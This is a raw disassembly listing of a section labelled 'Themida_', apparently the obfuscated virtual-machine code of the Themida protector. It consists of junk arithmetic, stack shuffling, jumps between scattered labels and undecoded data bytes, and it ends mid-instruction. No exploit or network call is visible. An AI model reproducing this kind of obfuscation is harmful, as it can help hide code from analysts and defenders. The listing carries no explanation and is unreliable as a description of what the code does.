Themida_:00571A7Cj xchg eax, [esp] pop esp shr eax, 0Bh xor ecx, eax push 111Ch mov [esp], ebx xor dword ptr [esp], 28E90DACh mov eax, [esp] jmp loc_5732AC ; --------------------------------------------------------------------------- db 53h dd 0F4E9C5B7h, 0C1000052h, 0EB8108E3h, 0FF97FA97h, 34FFD929h dd 0C4835B24h, 81D90104h, 660569C1h, 2434FF00h, 8D81E9h dd 4C48100h, 68000000h, 56BDh, 0B9240C89h, 6FEA4BA0h, 0E959CF01h dd 75A5h, 0C55F46B8h, 737E3567h, 0D2E927AFh db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56210B: ; CODE XREF: Themida_:0056561Bj mov [esp], edi mov edi, 5A407FAFh inc edi shr edi, 8 jmp loc_572CB5 ; --------------------------------------------------------------------------- dd 582434FFh, 47D5E9h, 0C3816600h, 2966792Eh, 525A5BD8h dd 7B86650h, 0D0F76638h, 5664066h, 36E97A84h, 5C000097h dd 89241489h, 0E28952E2h, 0DF15E9h, 0C6815E00h, 4, 0E902C683h dd 0FFFFFF2Fh ; --------------------------------------------------------------------------- loc_562160: ; CODE XREF: Themida_:00569380j or edx, 3EC139CDh dec edx xor edx, 38CF7229h add ecx, edx jmp loc_57546A ; --------------------------------------------------------------------------- dd 0D4FC3BFh, 14C78145h, 295BBA50h, 14EF81EFh, 5D5BBA50h dd 0E95FF829h, 0D3CAh, 0ED1F0FBBh, 5BD8296Dh, 76CAE9h dd 24148B00h, 3304C483h, 2C31242Ch, 242C3324h, 0F724248Bh dd 348F68F9h, 14890000h, 0E99C5024h, 0FFFFDDDFh, 6F89E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5621C6: ; CODE XREF: Themida_:005636AEj push eax push edi push 50920E97h pop edi shl edi, 5 xor edi, 990E780Ah mov eax, edi pop edi jmp loc_562F11 ; --------------------------------------------------------------------------- db 8Fh dd 4812404h, 424h, 4055800h, 83000000h, 43304C0h, 24043124h dd 4D80E9h db 0 ; --------------------------------------------------------------------------- loc_5621FD: ; CODE XREF: Themida_:0056DF7Aj add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_570E51 ; --------------------------------------------------------------------------- loc_562212: ; CODE XREF: Themida_:00574331j mov [esp], ebp mov ebp, 286E7F02h or ebp, 71C45E25h add ebp, 861180DDh add esi, ebp mov ebp, [esp] add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_56E7AA ; --------------------------------------------------------------------------- loc_56223C: ; CODE XREF: Themida_:005627DCj shl ebx, 6 push 224Bh mov [esp], ebp push esp jmp loc_563C0B ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0ED810000h, 5C3767D0h, 0C581FD01h, 5C3767D0h, 5F2434FFh dd 8304C483h, 72E902C5h, 890000FDh, 0A6BA52E5h, 0F77C561Ah dd 4773E9D2h, 2C8B0000h, 4C48324h, 9C9BE9h, 0E6895600h dd 129B1E9h db 0 ; --------------------------------------------------------------------------- loc_562291: ; CODE XREF: Themida_:00571D03j mov esp, [esp] mov dh, cl jmp loc_5689F2 ; --------------------------------------------------------------------------- loc_56229B: ; CODE XREF: Themida_:005677A7j or edx, eax pop eax dec edx neg edx xor edx, 0A2023002h add esi, edx pop edx jmp loc_56786F ; --------------------------------------------------------------------------- db 0B8h dd 54D950A5h, 11429E9h, 8B595000h, 0C4812404h, 4, 4EC8341h dd 0BB241C89h, 70F4DEB1h, 815BD929h, 765673C3h, 52CB0145h dd 85061EBAh, 5E2C14Bh, 37E9DAF7h, 0B900012Ah, 4, 4244C01h dd 0ED88E9h, 0F8305900h, 4EC835Bh, 88240C89h, 633CE9C5h dd 15F0000h, 23882DE8h, 34FF7F57h, 0C4815D24h, 4, 405h dd 24043300h, 33240431h, 0EDE92404h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56232F: ; CODE XREF: Themida_:0056C0D7j mov bl, ah pop eax pop edx shl bl, 8 jmp loc_56C88B ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68100h, 87000000h, 248B2434h, 9FC18124h, 116B755h dd 0EB04E9F9h, 348BFFFFh, 4C48124h, 0E9000000h, 10D95h dd 5821E981h, 348B65DFh, 4C48324h, 3BC368h, 24148900h dd 4D3E9h, 0E9F53100h, 0FFFFEEF1h, 8104C483h, 4E8B242Ch dd 40128A6h, 24048124h, 28A64E8Bh, 0B668E9h, 2C48300h dd 5AD03166h, 0FC33166h, 6866C0B7h, 89662336h, 2CE92404h db 0F6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5623BB: ; CODE XREF: Themida_:00567376j sub esi, 31FF0A8Ah mov edx, [esp] push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5602DE ; --------------------------------------------------------------------------- db 89h dd 0CF815AD7h, 4CFA4B8Eh, 1C56BB53h, 0D9E936D4h, 8900011Bh dd 4BD242Ch, 29000000h, 3DE95DE9h, 81000014h, 4C4h, 88BF5700h dd 17F5723h, 0FEECE9F8h db 2 dup(0FFh) word_56241E dw 0AD66h ; DATA XREF: Themida_:0055FD8Co dd 0E9D83166h, 126BEh, 4011EE81h, 7CE945F8h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562433: ; CODE XREF: Themida_:005629C2j sub ebx, 4C02379Dh sub ebx, 56477267h pop ecx add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_56B296 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFEAC0h, 5C240487h, 0E92434FFh, 12049h, 0D7F7FA87h dd 0EAC1FA87h, 0ABEA8104h, 0E9C41DA9h, 9B29h, 0DA299605h dd 4D8BE928h, 0C5810000h, 5461161Ch, 0ED81F501h, 5461161Ch dd 35B8505Eh, 0E9587C49h, 0D270h, 0E8B15166h, 8B66CA00h dd 8952240Ch, 4C281E2h, 57000000h, 2BFh, 5FFA0100h, 0E9241487h dd 1199Ch, 3B5EEEBEh, 2C815661h, 1B68D124h, 0B8505D0Ch dd 18562885h, 8D10D48h, 0E0C12DCCh, 0ABB3E904h, 1C8B0000h dd 4C48124h, 8F000000h, 248B2404h, 241C8B24h, 5E6DE9h dd 31EE3100h, 5857E9F5h, 0C4810000h, 4, 8158C189h, 133059E1h dd 4EC837Eh, 50240C89h, 0D0F75859h, 0FD9BE951h, 483FFFFh dd 0FAE90424h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562527: ; CODE XREF: Themida_:0056A55Dj add esp, 4 not esi xchg ebx, esi xchg ebp, ebx push ebp jmp loc_56C5E1 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 54FE9h, 2434FF00h, 84E1E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56254A: ; CODE XREF: Themida_:0056698Fj mov edi, 69CF11BBh shl edi, 7 or edi, 1CDC2031h jmp loc_56D8D0 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 241C8B04h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 8B24048Fh dd 8B662424h, 19E9240Ch db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562583: ; CODE XREF: Themida_:00572507j add esp, 4 jmp loc_567D31 ; --------------------------------------------------------------------------- db 5Fh dd 4C481h, 0EC810000h, 4, 51241C89h, 2B9h, 59CB8900h, 427EEA81h dd 0C2814DA3h, 69A52270h, 0B951DA01h, 7B941AC7h, 0D9F7D9F7h dd 7904E9h, 0C8B6600h, 5B545324h, 0DABCE952h, 1C870000h dd 2083E924h, 0C4830000h, 2D5DE904h, 4890000h, 83E08924h dd 1C8904ECh, 9756E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5625EE: ; CODE XREF: Themida_:0056DC5Fj pop esp dec dh inc dh dec dh push bx mov bh, 0D8h add dh, bh mov bx, [esp] add esp, 2 mov bh, dh mov edx, [esp] jmp loc_5742BB ; --------------------------------------------------------------------------- loc_56260C: ; CODE XREF: Themida_:00560A64j mov ebp, [esp] add esp, 4 add ebx, 281A10EBh add ebx, eax push ebp mov ebp, 281A10EBh sub ebx, ebp pop ebp pop eax mov ecx, [esp] push edi mov edi, esp jmp loc_569750 ; --------------------------------------------------------------------------- db 5Ch dd 95730FB9h, 0FFD1294Ah, 565A2434h, 0F8E9E689h, 1FFFFFCh dd 0E9575EF7h, 9039h dword_56264C dd 28B9E9ADh, 872D0001h, 1294F6Ch, 6C8705D8h, 42E9294Fh ; DATA XREF: Themida_:0055FE50o db 29h, 1, 0 ; --------------------------------------------------------------------------- loc_562663: ; CODE XREF: Themida_:00568958j pop eax xor ebx, [esp] xor [esp], ebx jmp loc_56B443 ; --------------------------------------------------------------------------- db 89h dd 2368E9E2h db 1, 0 word_562676 dw 34FFh ; DATA XREF: Themida_:0055FE38o dd 0EC815824h, 4, 89243489h, 46851E6h, 59000000h, 4B766850h dd 0D5872C3h, 3F513250h, 99CCE9h, 81E28900h, 4C2h, 4C28100h dd 87000000h, 248B2414h, 44E6E924h, 0C6830000h, 24348704h dd 8BF9215Ch, 0A1E9243Ch, 680000E3h, 5F24h, 52242C89h dd 6E23E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5626D6: ; CODE XREF: Themida_:0056C658j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 7D7163AFh shl edx, 1 push ebx mov ebx, 35D007D9h xor edx, ebx pop ebx neg edx push ebx push edx mov edx, 15834D3Ah push 8D0DA585h jmp loc_573ECF ; --------------------------------------------------------------------------- loc_562703: ; CODE XREF: Themida_:00574DF4j and eax, 664E4C51h xor eax, 4EF01176h xor eax, 35687545h sub ebp, 43E275E8h jmp loc_56F6D6 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0DCE90000h, 5C0000E2h, 0FFD86EE9h, 4C481FFh dd 81000000h, 4C2h, 4C28300h, 34A568h, 7B4E900h, 0DEF70000h dd 3A3C68h, 242C8900h, 41391DBDh, 195FE976h, 0C7810001h dd 4, 0C1ABE56h, 0DFE9586Fh, 50000107h, 4B8h, 58C70100h dd 1F67E9h db 0 ; --------------------------------------------------------------------------- loc_56277D: ; CODE XREF: Themida_:0056E843j xor ecx, ebx jmp loc_56A659 ; --------------------------------------------------------------------------- dd 1751C681h, 0E6C13528h, 0FFBF5708h, 10D2FC2h, 0F1895FFEh dd 5E2434FFh, 669EE9h, 4C48100h, 81000000h, 0D4784EF7h dd 62EF811Fh, 0E920A077h, 0FFFFD9B3h ; --------------------------------------------------------------------------- loc_5627B8: ; CODE XREF: Themida_:005748ADj push edi mov edi, 203103C0h or edx, edi mov edi, [esp] add esp, 4 jmp loc_5712C3 ; --------------------------------------------------------------------------- loc_5627CE: ; CODE XREF: Themida_:00569EDBj push 25FE5714h mov ebx, [esp] add esp, 4 jmp loc_56223C ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 34h dd 2A5E924h, 0FA050001h, 0E93AF142h, 0B2BEh ; --------------------------------------------------------------------------- loc_5627F4: ; CODE XREF: Themida_:0056FF4Ej mov [esp], edx mov edx, 4 add edi, 40866211h add edi, edx sub edi, 40866211h pop edx add edi, 4 jmp loc_572230 ; --------------------------------------------------------------------------- dw 0CE81h dd 4D172254h, 7ECBEE81h, 0B8E96E68h db 1Ah, 1, 0 ; --------------------------------------------------------------------------- loc_562827: ; CODE XREF: Themida_:0056E305j sub dword ptr [esp+4], 8CF317Ah pop ebx mov ecx, [esp] push ebx jmp loc_561300 ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 6 dd 2D52EF81h, 4E92758h, 56000071h, 8B7E9CBEh, 0E9C63135h dd 355Ah, 747EBF57h, 0D7F7228Ah, 0EF814F4Fh, 7C4776D6h dd 815FFA89h, 8063ABE2h, 59C2815Ch, 1BFFFFFh, 96E95AD1h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56287B: ; CODE XREF: Themida_:005703E1j push esp jmp loc_574C78 ; --------------------------------------------------------------------------- db 88h, 2, 0E9h dd 0CD1Eh, 0E9E28952h, 12919h ; --------------------------------------------------------------------------- loc_562890: ; CODE XREF: Themida_:0056B302j xor esi, 7A070117h xor esi, 3F8B4D3Dh push ebp mov ebp, 5AE90C7Eh sub ebp, 7F2D5EC0h jmp loc_5743FB ; --------------------------------------------------------------------------- db 41h, 0C1h, 0E1h dd 9DC18103h, 21A9ED88h, 7F6859CDh, 0E9000034h, 61C2h ; --------------------------------------------------------------------------- loc_5628C4: ; CODE XREF: Themida_:005754C8j mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 69477DEEh add ebp, eax jmp loc_5746FC ; --------------------------------------------------------------------------- db 1 aZSS db 'ÐZ[é*‘',0 align 4 dd 0E7361DBEh, 52D6F739h, 5AA36855h, 555D36E8h, 0FFDDA8E9h dd 67E280FFh, 76FFE951h, 0EE810000h, 6FC218D9h, 0C681CE01h dd 6FC218D9h, 81D62959h, 445FDEEh, 2434FF45h, 2641685Ah dd 34890000h, 52E68924h, 6916E9h, 5DEE2900h, 30F6EE81h dd 81462E72h, 71C4C3EEh, 5EF7018Bh, 0EF81D729h, 5C4A144Ah dd 0E924148Bh, 0FFFFF78Dh, 4AA0BD55h, 0EF89453Ah, 67F5E95Dh dd 31660000h, 0E2EAE9CAh, 0F528FFFFh, 5A2434FFh, 4C481h dd 0E5040000h, 0E52CE828h, 0D8285966h, 2619E953h, 89510001h dd 2B9868E1h, 34890000h, 409FBE24h, 0D6F71D2Bh, 0F5CBA52h dd 0EE811D49h, 113F4CBCh, 9652E9h db 0 byte_5629A9 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0055FDC0o dd 0ECE99C24h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5629B3: ; CODE XREF: Themida_:00560598j pop edi add ebx, 56477267h add ebx, 4C02379Dh add ebx, ecx jmp loc_562433 ; --------------------------------------------------------------------------- loc_5629C7: ; CODE XREF: Themida_:005737F6j add eax, ebp pop ebp add ecx, eax pop eax add ecx, edx push esi mov esi, 273E5483h push edi jmp loc_570103 ; --------------------------------------------------------------------------- db 5Dh dd 0D913E9h, 8BCB0100h, 6AE9240Ch, 5DFFFFDCh, 0C605D001h dd 8B1E7D67h, 0C4812414h, 4, 4EC81h, 0C890000h, 1682B924h dd 42E96E20h, 5C000017h, 0EB581605h, 0F36FE908h, 0D6BEFFFFh dd 5022622h, 576B0625h, 0BF57F029h, 576B0625h, 0E95FF829h dd 33E0h, 81E18951h, 4C1h, 4BE5600h, 29000000h, 2817E9F1h db 1, 0 ; --------------------------------------------------------------------------- loc_562A4A: ; CODE XREF: Themida_:0057320Cj add bl, 0E2h pop ecx sub bl, 1 push 0 jmp loc_574E8E ; --------------------------------------------------------------------------- db 5Ah dd 8159CE21h, 0BB73AFC6h, 0E8E6822h, 2C890000h, 52E8BD24h dd 814D36A6h, 7106DFF5h, 0E9E5D141h, 0E7CAh, 8BF0305Ch dd 0C4832414h, 0E9C33004h, 0FFFFE14Ch, 0C55633B8h, 395EE960h dd 1C890000h, 4BB24h, 5E90000h, 81000042h, 4C4h, 5FF83100h dd 5BEBBA52h, 0B568055Ch, 89000025h, 88BD242Ch, 314BE737h dd 53575DEAh, 0DD4458BBh, 0BE2ABF37h, 0DF29AA96h, 0FFFB295Bh dd 0E95F2434h, 18B3h, 31241C33h, 1C33241Ch, 14895C24h dd 0E478E924h, 0EC81FFFFh, 4, 68240489h, 3568h, 52242489h dd 4BAh, 24540100h, 53585A04h, 0D90317BBh, 3E3C11Ah, 1724EB81h dd 514B0514h, 0E84516B9h, 0E9C98158h, 8133BE70h, 74690AE1h dd 85A4E974h, 0AB680000h, 89000008h, 6E68242Ch, 5D454A73h dd 0AA40E9h db 0 ; --------------------------------------------------------------------------- loc_562B49: ; CODE XREF: Themida_:0056EAECj not ecx jmp loc_573607 ; --------------------------------------------------------------------------- dd 5C241487h, 0BF243C89h, 4, 7C24C32Dh, 5F80168h, 687C24C3h dd 6B4AE9h, 2434FF00h, 4C4835Dh, 138C68h, 457AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562B7E: ; CODE XREF: Themida_:0056FD6Aj add ebp, ebx sub ebp, 446D2D6Fh pop ebx sub ebp, 4 push ebp push dword ptr [esp+4] jmp loc_56777D ; --------------------------------------------------------------------------- aIUs_ db '‰<$Ué.×',0 align 10h dword_562BA0 dd 0FF2434FFh, 83592434h, 0E95004C4h, 0CF2Bh, 3D93685Eh ; DATA XREF: Themida_:0055FD04o dd 1C890000h, 22B0BB24h, 0BE564755h, 589D4AB8h, 4C9CE81h dd 0CE815F2Dh, 1FB070Eh, 0DEF7D6F7h, 0AF9EF681h, 0BF579841h dd 14F602C8h, 15FFB29h, 0C8C381F3h, 0E914F602h, 3474h dd 4646858h, 0C890000h, 3100E924h, 0F1810000h, 1D2EF71Ch dd 8759CA29h, 895C2414h, 0E952241Ch, 549Fh, 4C481h, 4BE90000h dd 810000FCh, 7E6649E3h, 81DBF745h, 0D7D9FCEBh, 0FFDF01FBh dd 575B2434h, 0C781E789h, 4, 0B302E9h, 1C5B6800h, 34890000h dd 0FFFFBE24h, 0F301FFFFh, 8124348Bh, 4C4h, 1EB8300h, 1C10F381h dd 4B684973h, 89000010h, 478F241Ch, 5380E920h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562C72: ; CODE XREF: Themida_:0056AC46j push edx jmp loc_57501F ; --------------------------------------------------------------------------- dd 4B9h, 59CD2900h, 8B242C87h, 0C892424h, 0C4E95424h, 590000D2h dd 0E904B151h, 66F6h, 0B9240C89h, 4, 0B7DAE9h, 2414F700h dd 1958E958h, 0E3C10001h, 72BA5208h, 0C1672D35h, 0EA8105EAh dd 8F9D087Ah, 2480C381h, 0D301143Fh, 2480EB81h, 815A143Fh dd 261709F3h, 98EB8168h, 29EE7CB6h, 0EA815BDAh, 2556007Eh dd 0FFD2B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_562CE9: ; CODE XREF: Themida_:005747EEj sub edi, edx jmp loc_56A05A ; --------------------------------------------------------------------------- loc_562CF0: ; CODE XREF: Themida_:00571D9Cj add esp, 4 jmp loc_56FF79 ; --------------------------------------------------------------------------- loc_562CFB: ; CODE XREF: Themida_:0057061Cj pop eax sub esp, 4 mov [esp], ecx push edx mov edx, 1ABF2D63h shl edx, 4 sub edx, 63C25D8Ah or edx, 774A7310h not edx sub edx, 41E23538h push esi mov esi, edx mov ecx, esi jmp loc_56A688 ; --------------------------------------------------------------------------- loc_562D29: ; CODE XREF: Themida_:00567052j add ebp, edx jmp loc_574C03 ; --------------------------------------------------------------------------- loc_562D30: ; CODE XREF: Themida_:0056861Dj and edi, esi jmp loc_571D99 ; --------------------------------------------------------------------------- loc_562D37: ; CODE XREF: Themida_:00560BC2j add esp, 4 push esi push esp pop esi add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_57195F ; --------------------------------------------------------------------------- db 81h, 0EEh, 7Eh dd 0E90F2D30h, 9F2Dh, 15F6814Eh, 5249A379h, 0C281E289h dd 4, 4EA81h, 14870000h, 0F3A2E924h, 0C6810000h, 2, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 0FF243489h, 0FF042474h, 685E2434h dd 2270h, 7EAEE9h, 66A76800h, 24890000h, 24048324h, 47E95904h dd 5B00009Bh, 1C8BDE01h, 9DCE924h, 35BD0001h, 0E9547E53h dd 6124h, 0E789575Ch, 4C781h, 0B7E90000h db 1Ah, 1, 0 ; --------------------------------------------------------------------------- loc_562DDF: ; CODE XREF: Themida_:005717B2j pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_56EA12 ; --------------------------------------------------------------------------- loc_562DFA: ; CODE XREF: Themida_:00574834j mov [esp], eax mov eax, 296E54EDh add dword ptr [esp+4], 3DF946B7h jmp loc_573876 ; --------------------------------------------------------------------------- aSI db '(×é׈',0 align 2 dw 0E2C1h dd 0C1DAF705h, 0C28106E2h, 4371309Fh, 15AD301h, 241C8BD8h dd 4C481h, 0C5290000h, 0E9E80158h, 1BD7h ; --------------------------------------------------------------------------- loc_562E3C: ; CODE XREF: Themida_:005708F6j push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 sub esp, 4 mov [esp], esi jmp loc_56B1D5 ; --------------------------------------------------------------------------- db 81h, 0CBh, 78h dd 0E96BDA1Dh, 8F2Eh, 4C48158h, 57000000h, 0C781E789h dd 4, 4C781h, 3C870000h, 0EC835C24h, 0EF8FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562E7E: ; CODE XREF: Themida_:00572B41j xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ebx jmp loc_5668D8 ; --------------------------------------------------------------------------- loc_562E8D: ; CODE XREF: Themida_:00569D03j mov [esp], esi push edi mov edi, esp jmp loc_568292 ; --------------------------------------------------------------------------- dd 5C24C605h, 1323E924h db 2 dup(0) word_562EA2 dw 6664h ; DATA XREF: Themida_:0055FE1Co dd 6866028Bh, 89660120h, 0ECE92404h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562EB3: ; CODE XREF: Themida_:005651EDj sub esp, 4 mov [esp], eax jmp loc_5714BE ; --------------------------------------------------------------------------- dw 8F54h dd 0BB532404h, 4, 4246C81h, 6173036Bh, 4245C01h, 0DDECE9h db 0 byte_562ED9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055FE40o dd 0E9240C8Bh, 0FFFFD78Ch, 0FFD0B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_562EE9: ; CODE XREF: Themida_:0056E1A0j xor ebx, [esp] mov esp, [esp] loc_562EEF: ; CODE XREF: Themida_:00565454j ; Themida_:00574098j push dword ptr [edi+24h] sub dword ptr [esp], 0EBC1A24h jmp loc_565838 ; --------------------------------------------------------------------------- dw 1489h dd 2474FF24h, 48F5A04h, 24248B24h, 0FFD08EE9h db 0FFh ; --------------------------------------------------------------------------- loc_562F11: ; CODE XREF: Themida_:005621DAj sub ecx, eax jmp loc_562F72 ; --------------------------------------------------------------------------- dd 2BB5356h, 50000000h, 0C1E9D889h, 890000D8h, 4812424h dd 424h, 97685A00h, 89000042h, 0EC81243Ch, 4, 0BA241489h dd 4B3323BDh, 3323B9BFh, 0E27DE94Bh, 29590000h, 15505E8h dd 2BE97F0Ch, 880000CCh, 48B5BDEh, 487DE924h, 885A0000h dd 4334E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562F72: ; CODE XREF: Themida_:00562F13j pop eax jmp loc_564E97 ; --------------------------------------------------------------------------- dd 0EB819348h, 0E83E201Ah, 0E95BD801h, 9505h ; --------------------------------------------------------------------------- loc_562F88: ; CODE XREF: Themida_:00570EE3j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 27457A11h sub esi, 6B9519CBh sub esi, 6CD5132Dh jmp loc_57277D ; --------------------------------------------------------------------------- loc_562FB3: ; CODE XREF: Themida_:00567D1Fj mov ebp, [esp] jmp loc_5692C6 ; --------------------------------------------------------------------------- loc_562FBB: ; CODE XREF: Themida_:00567399j sub dl, 7Ch mov bh, dl pop edx jmp loc_565DDB ; --------------------------------------------------------------------------- dw 0E801h dd 0EFB5E9h, 4C28100h, 0E9000000h, 284Bh, 2B95159h, 1000000h dd 240C8BCFh, 3BE4E9h, 31D63100h, 0E9D631F2h, 0A15Ah, 5069EE80h dd 0F480C1B4h, 4CE480DBh, 0C480D4F6h, 80DCF6B8h, 0E628F4ECh dd 0D758E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563012: ; CODE XREF: Themida_:00568EB6j add edi, 4 xchg edi, [esp] pop esp shr eax, 18h xor eax, ecx push 6178h mov [esp], eax push eax push dword ptr [esp+4] jmp loc_56AB28 ; --------------------------------------------------------------------------- loc_563030: ; CODE XREF: Themida_:005659CDj add esp, 4 mov edi, [esp] add esp, 4 jmp loc_5605BC ; --------------------------------------------------------------------------- dw 0E381h dd 62F502B1h, 3374C381h, 0F5E9F099h, 810000F8h, 4C7h, 243C3300h dd 0E9243C31h, 6FECh, 0A2B6E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563066: ; CODE XREF: Themida_:00561338j mov [esp], ecx jmp loc_572915 ; --------------------------------------------------------------------------- word_56306E dw 8B66h ; DATA XREF: Themida_:0055FECCo dd 0D7E92404h, 58000113h, 0DDB55166h, 5966EB30h, 144B68h dd 241C8900h, 0F65364B7h, 0E9012454h, 0FFFFD43Dh, 0E924348Bh dd 0A4F8h ; --------------------------------------------------------------------------- loc_56309C: ; CODE XREF: Themida_:0056D3F6j and cl, 60h shl cl, 3 or cl, 59h jmp loc_56AFA0 ; --------------------------------------------------------------------------- dw 48Fh aLS_0 db '$‹$$éÉ`',0 db 0 ; --------------------------------------------------------------------------- loc_5630B5: ; CODE XREF: Themida_:0056DF9Fj pop edx push eax mov eax, esp push esi mov esi, 3AAD5897h not esi xor esi, 0C552A76Ch add eax, esi jmp loc_567C36 ; --------------------------------------------------------------------------- a9vNsz db '¹9vÖnéZ)',0 align 4 dd 0F759CE01h, 6E6C1D6h, 37DBEE81h, 0F3015B0Ch, 7CAEE9h dd 4B800h, 0C2290000h, 154CE958h, 34890000h, 598FE924h dd 0EA890000h, 0E9242C8Bh, 8558h, 96DE95Ch, 0F7810000h dd 52225E2Ch, 6837C781h, 0C78310DBh, 85F78101h, 0E93458A4h dd 0A759h, 5EF3295Bh, 0C381FB01h, 66DC7A2Dh, 52243C8Bh dd 1198EE9h, 243C8900h, 971807BFh, 0D7F74F25h, 0CBFCE94Fh db 2 dup(0) word_563152 dw 6664h ; DATA XREF: Themida_:0055FD14o dd 6602B60Fh, 0E9549068h, 0FFFFE08Dh ; --------------------------------------------------------------------------- loc_563160: ; CODE XREF: Themida_:0056B1EEj sub eax, 6E6F5AE3h jmp loc_563850 ; --------------------------------------------------------------------------- dw 0C90Dh dd 0C16E3F2Bh, 0B95104E0h, 3C080FEEh, 3559C801h, 0B5B0A04h dd 3505E0C1h, 5A4348DDh, 0FFD4C1E9h, 1932BAFFh, 34E9C147h dd 5B00009Dh, 83242C8Bh, 0F6E904C4h, 8100011Ch, 4ECh, 8C88E900h dd 0EB810000h, 0FFFFFFFFh, 6A52BE56h, 18E9639Fh, 31FFFFD2h dd 24148BD1h, 4C481h, 0C8010000h, 0C92D5F59h, 2923700Ch dd 0C9BE56D8h, 0E923700Ch, 0E6Ah, 0C6815E54h, 4, 4C681h dd 34870000h, 0E9575C24h, 0AE51h, 4EC8142h, 89000000h dd 0ADE9240Ch db 44h, 2 dup(0) byte_563207 db 66h ; DATA XREF: Themida_:0055FD34o dd 83240C8Bh, 48904ECh, 719FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563216: ; CODE XREF: Themida_:005658BBj add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_56F573 ; --------------------------------------------------------------------------- aYs db 'YéÏ=',0 db 0 ; --------------------------------------------------------------------------- loc_563231: ; CODE XREF: Themida_:00567299j shl edx, 1 jmp loc_570F64 ; --------------------------------------------------------------------------- loc_563238: ; CODE XREF: Themida_:00567593j push ecx mov ecx, 3C183D94h mov ebx, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 7B151197h and ebx, esi mov esi, [esp] add esp, 4 neg ebx push esi push ebp mov ebp, 6D150E84h jmp loc_570D4D ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E9542404h, 0C3A5h, 89240489h, 405E0h, 7AE90000h dd 0BA0000A9h, 13DB42A7h, 934CE9h, 0BFBA5200h, 29B9F42Dh dd 24148BD0h, 0FFF249E9h db 0FFh ; --------------------------------------------------------------------------- loc_5632B5: ; CODE XREF: Themida_:00571B8Aj add ebx, ebp push edx mov edx, 66136C5Ah or edx, 756659DCh jmp loc_56E330 ; --------------------------------------------------------------------------- dd 7AEE8158h, 0E973B928h, 0C917h, 0C780F728h, 0E95A667Ah dd 0FAEh, 1A112968h, 243C8B66h, 8104C483h, 1A1129F7h, 0FA895266h dd 5F5AD389h, 636AC381h, 0D3011612h, 636AEB81h, 0BA521612h dd 0 dd 73BEA81h, 0F8E93962h, 0E90000EBh, 0FFFFCC83h ; --------------------------------------------------------------------------- loc_56331C: ; CODE XREF: Themida_:0056DCA8j push ebx mov ebx, 0E73DD1B1h add edx, ebx pop ebx mov ecx, edx pop edx jmp loc_56C1F0 ; --------------------------------------------------------------------------- db 50h, 54h, 58h dd 4BD55h, 0B6050000h, 0E935CF10h, 7A7Eh ; --------------------------------------------------------------------------- loc_563340: ; CODE XREF: Themida_:0056E99Bj mov eax, 4229771Eh xor eax, 48CE4DE5h add eax, 0F518C509h mov ebp, eax jmp loc_561033 ; --------------------------------------------------------------------------- dw 2A2Dh dd 353A0F17h, 24F35749h, 2D2DD8F7h, 2D1B5243h, 7408B1A2h dd 8158C501h, 0BB7631C5h, 81CD017Ch, 0BB7631EDh, 7FED817Ch dd 0E975F564h, 7E7Eh ; --------------------------------------------------------------------------- loc_563388: ; CODE XREF: Themida_:0056F7F9j push ebp mov ebp, esi mov edi, ebp pop ebp pop esi mov eax, 52413E11h sub eax, edi pop edi push edi mov edi, 1EA11871h jmp loc_570B3C ; --------------------------------------------------------------------------- loc_5633A2: ; CODE XREF: Themida_:00568A81j push esp push dword ptr [esp] pop ebx jmp loc_573FAB ; --------------------------------------------------------------------------- loc_5633AC: ; CODE XREF: Themida_:0057203Fj neg ecx not ecx xor ecx, 0EF48A1DFh mov edx, ecx pop ecx xor edx, 70083A41h and edx, 53143D3Ch xor edx, 2141D08h add ecx, edx mov 